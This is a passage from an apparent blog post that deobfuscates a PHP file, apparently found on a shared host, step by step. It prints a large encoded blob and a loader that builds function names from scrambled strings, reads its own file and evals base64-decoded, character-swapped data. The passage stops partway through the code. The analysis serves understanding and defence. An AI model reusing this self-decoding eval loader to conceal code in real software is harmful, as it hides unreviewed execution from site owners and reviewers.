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 </div></div>
  <div class='sourceblocklink'><a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;num=3&amp;sid=df27688e1ea0f31a8391579434ba1a6f' type='text/plain'>Get Code</a></div>
</div>

<p class='vspace'>It has been obfuscated using a rather lame commercial product called <a class='urllink' href='http://phplockit.com/' rel='nofollow'>PHP Lockit!</a>. They claim it&#8217;s encrypting the PHP, but that&#8217;s a lie, it&#8217;s half-assed obfuscation and easily reversed.
</p>
<p class='vspace'>The first part is to urldecode a string and then build a bunch of strings out of it. Here it is with better variable names:
</p>
<div class='vspace'></div>
<div class='sourceblock ' id='sourceblock4'>
  <div class='sourceblocktext'><div class="php" style="font-family:monospace;"><span class="re0">$chars</span><span class="sy0">=</span><span class="kw3">urldecode</span><span class="br0">&#40;</span><span class="st_h">'%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">// $chars = &#34;fg6sbehpra4co_tnd&#34;;</span><br />
<span class="re0">$base64_decode</span><span class="sy0">=</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">4</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">9</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">3</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">;</span><br />
<span class="re0">$base64_decode</span><span class="sy0">.=</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">2</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">10</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">13</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">16</span><span class="br0">&#125;</span><span class="sy0">;</span><br />
<span class="re0">$base64_decode</span><span class="sy0">.=</span><span class="re0">$base64_decode</span><span class="br0">&#123;</span><span class="nu0">3</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">11</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">12</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$base64_decode</span><span class="br0">&#123;</span><span class="nu0">7</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">;</span><br />
<span class="re0">$fopen</span><span class="sy0">=</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">12</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">7</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">15</span><span class="br0">&#125;</span><span class="sy0">;</span><br />
<span class="re0">$fgets</span><span class="sy0">=</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">1</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">14</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">3</span><span class="br0">&#125;</span><span class="sy0">;</span><br />
<span class="re0">$fread</span><span class="sy0">=</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">8</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">5</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">9</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">16</span><span class="br0">&#125;</span><span class="sy0">;</span><br />
<span class="re0">$strtr</span><span class="sy0">=</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">3</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">14</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">8</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">14</span><span class="br0">&#125;</span><span class="sy0">.</span><span class="re0">$chars</span><span class="br0">&#123;</span><span class="nu0">8</span><span class="br0">&#125;</span><span class="sy0">;</span><br />
<span class="re0">$filename</span><span class="sy0">=</span><span class="kw2">__FILE__</span><span class="sy0">;</span><br />
<span class="re0">$count</span><span class="sy0">=</span><span class="nu0">26100</span><span class="sy0">;</span></div></div>
  <div class='sourceblocklink'><a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;num=4&amp;sid=df27688e1ea0f31a8391579434ba1a6f' type='text/plain'>Get Code</a></div>
</div>

<p class='vspace'>Then it uses one of them to base64_decode() and then eval() a string:
</p>
<div class='sourceblock ' id='sourceblock5'>
  <div class='sourceblocktext'><div class="php" style="font-family:monospace;"><span class="kw3">eval</span><span class="br0">&#40;</span><br />
&#160; <span class="re0">$base64_decode</span><span class="br0">&#40;</span><br />
&#160; &#160; <span class="st_h">'aWYoITApJE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'</span><br />
&#160; <span class="br0">&#41;</span><br />
<span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw1">return</span><span class="sy0">;</span></div></div>
  <div class='sourceblocklink'><a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;num=5&amp;sid=df27688e1ea0f31a8391579434ba1a6f' type='text/plain'>Get Code</a></div>
</div>

<p class='vspace'>This decodes to another obfuscated bit of code, which I&#8217;ve cleaned up to this:
</p>
<div class='vspace'></div>
<div class='sourceblock ' id='sourceblock6'>
  <div class='sourceblocktext'><div class="php" style="font-family:monospace;"><span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="nu0">0</span><span class="br0">&#41;</span> <span class="re0">$thisfile</span> <span class="sy0">=</span> <span class="re0">$fopen</span><span class="br0">&#40;</span><span class="re0">$filename</span><span class="sy0">,</span><span class="st_h">'rb'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="re0">$fgets</span><span class="br0">&#40;</span><span class="re0">$thisfile</span><span class="sy0">,</span><span class="nu0">1024</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">// skip first 1K</span><br />
<span class="re0">$fgets</span><span class="br0">&#40;</span><span class="re0">$thisfile</span><span class="sy0">,</span><span class="nu0">4096</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1">// skip rest of first line</span><br />
<span class="re0">$part2</span> <span class="sy0">=</span> <span class="re0">$base64_decode</span><span class="br0">&#40;</span><br />
&#160; <span class="re0">$strtr</span><span class="br0">&#40;</span><br />
&#160; &#160; <span class="re0">$fread</span><span class="br0">&#40;</span><span class="re0">$thisfile</span><span class="sy0">,</span><span class="nu0">380</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="co1">// first part of magic string after &#34;?&gt;&#34;</span><br />
&#160; &#160; <span class="st_h">'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/='</span><span class="sy0">,</span><br />
&#160; &#160; <span class="st_h">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'</span><br />
&#160; <span class="br0">&#41;</span><br />
<span class="br0">&#41;</span><span class="sy0">;</span><br />
<span class="kw3">eval</span><span class="br0">&#40;</span><span class="re0">$part2</span><span class="br0">&#41;</span><span class="sy0">;</span></div></div>
  <div class='sourceblocklink'><a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;num=6&amp;sid=df27688e1ea0f31a8391579434ba1a6f' type='text/plain'>Get Code</a></div>
</div>

<p class='vspace'>This is reading the first 380 chars of the big block of text after the end of the PHP code, doing some character swapping, and then eval()ing the result. So what is that?
</p>
<div class='vspace'></div>
<div class='sourceblock ' id='sourceblock7'>
  <div class='sourceblocktext'><div class="php" style="font-family:monospace;"><span class="re0">$part3</span> <span class="sy0">=</span> <span class="kw3">ereg_replace</span><span class="br0">&#40;</span><br />
&#160; <span class="st_h">'__FILE__'</span><span class="sy0">,</span><br />
&#160; <span class="st0">&#34;'&#34;</span><span class="sy0">.</span><span class="re0">$filename</span><span class="sy0">.</span><span class="st0">&#34;'&#34;</span><span class="sy0">,</span><br />
&#160; <span class="re0">$base64_decode</span><span class="br0">&#40;</span><br />
&#160; &#160; <span class="re0">$strtr</span><span class="br0">&#40;</span><br />
